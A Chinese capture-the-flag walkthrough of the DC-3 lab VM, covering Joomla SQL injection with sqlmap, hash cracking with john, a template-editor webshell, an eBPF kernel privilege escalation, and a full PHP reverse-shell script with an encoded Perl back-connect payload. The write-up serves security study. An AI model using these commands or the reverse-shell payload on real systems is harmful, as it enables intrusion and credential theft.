目录
一. 信息收集
1. 主机扫描
2. 端口扫描
3. 目录扫描
4. web页面信息探测
二. 漏洞找查
1. joomscan
2. searchsploit
三. 漏洞利用
1. SQL注入
2. 密码爆破
3. 反弹shell
4. Get交互shell
四. Linux提权
1. 确定操作系统信息
2. 搜索操作系统漏洞
3. 利用exp提权
4. 找查flag
五. 收获总结
1. joomscan
2. searchsploit
3. john
4. PHP反弹shell
5. Linux的一些命令
6. Linux系统信息文件
DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip
搭建过程和DC-1一样,将kali跟DC-3放同一网段即可
一. 信息收集
1. 主机扫描
arp-scan -l
探测到dc-3主机
2. 端口扫描
nmap -A -p- 192.168.120.132
-sV只扫描端口及其版本号
-A扫描端口的详细信息
80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms
3. 目录扫描
dirsearch -u 192.168.120.132 -e * -i 200
-i 状态码
只显示该状态码
-x 状态码
不显示该状态码
4. web页面信息探测
原页面给了个提示,还有个用户登入框在
确定了cms的版本
找到后台登入框
二. 漏洞找查
1. joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具
joomscan -u 192.168.120.132
扫描出了cms的版本,还有一些目录跟后台登入界面,前面的信息收集里我们也是知道了的
2. searchsploit
searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南
searchsploit joomla 3.7.0
当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是
/usr/share/exploitdb/exploits/php/webapps/42033.txt
拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/桌面/42033.txt
在桌面打开该文件
给出了注入点
三. 漏洞利用
1. SQL注入
利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结
- 列出所有数据库
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs
--dbs列出所有数据库
- 列出指定数据库的所有表
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch -D joomladb --tables
-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来
--tables 列出表
- 查看所有字段
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns
表名含有特殊符号,需要用引号包括
这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可
- 查看用户名与密码
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
密码是加密过的,没有加密函数只能爆破密码了
2. 密码爆破
利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明
先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件
john /root/桌面/passwd
不一会儿就爆破出来了,密码是snoopy,登入后台
3. 反弹shell
探索后台管理员系统,发现了文件上传的点位,在beez3模块里
http://192.168.120.132/administrator/index.php?option=com_templates&view=template&id=503&file=aG9tZQ==
貌似有文件上传过滤,但是我们可以自己创建一个文件,写入木马 也可以直接反弹shell
将PHP反弹shell代码复制进去(网上随便找一个,文章后面总结也有,设置好目标ip跟端口就行)
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为
http://192.168.120.132/templates/beez3/webshell.php
kali监听8888端口
nc -lvvp 8888
接着我们去访问webshell地址,执行反弹shell的php代码,回到监听端口的终端
反弹shell成功
4. Get交互shell
跟DC-1一样,利用python获取交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
交互shell获取成功,但是还不是root权限
四. Linux提权
1. 确定操作系统信息
这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考
查看Linux当前操作系统版本信息常用命令 ,以寻找提权漏洞突破口
tac /etc/issue
cat /proc/version
得到操作系统与其版本
2. 搜索操作系统漏洞
继续使用searchsploit工具搜索漏洞 ,打开另一个终端
searchsploit Ubuntu 16.04
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path
/usr/share/exploitdb/exploits/linux/local/39772.txt
利用cp命令拷贝到桌面
cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root/桌面/39772.txt
打开该文件
文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
3. 利用exp提权
接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里
python3 -m http.server 8888
浏览器访问一下开启的http服务
出现这个说明服务开启成功,exp地址是
http://192.168.120.129:8888/39772/39772/exploit.tar
回到我们的虚拟终端,利用wget命令下载该工具
wget http://192.168.120.129:8888/39772/39772/exploit.tar
下载完后用tar命令解压该压缩包
tar -xvf exploit.tar
接着cd进入解压后的文件夹
cd ebpf_mapfd_doubleput_exploit
根据文本提示
执行下两个文件,Linux系统下.(点)是执行某个文件的意思
./compile.sh
./doubleput
提权成功!!!
4. 找查flag
接着用find命令找查flag
find / -name *flag*
发现可疑文件,tac命令打开该文件
tac /root/the-flag.txt
拿到最终flag
五. 收获总结
1. joomscan
针对joomla开发的漏洞扫描器
joomscan -u [要攻击的IP或URL]
2. searchsploit
漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法
searchsploit [CMS或操作系统] [CMS或操作系统的版本号]
3. john
针对hash的密码爆破工具
john [含有密文的文件名]
4. PHP反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
5. Linux的一些命令
- cp ——文件复制命令
cp [源文件] [新文件]
- wget ——远程文件下载命令
wget [文件的URL]
- tar ——文件压缩、解压命令
tar命令参考, tar 解压缩命令详解,以压缩tar后缀文件为例文章来源:https://www.toymoban.com/news/detail-414633.html
tar -xvf [tar文件]
6. Linux系统信息文件
- /etc/issue
- /proc/version
更多查看系统信息的操作可参考查看Linux当前操作系统版本信息常用命令 文章来源地址https://www.toymoban.com/news/detail-414633.html
到了这里,关于DC-3靶场搭建及渗透实战详细过程(DC靶场系列)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!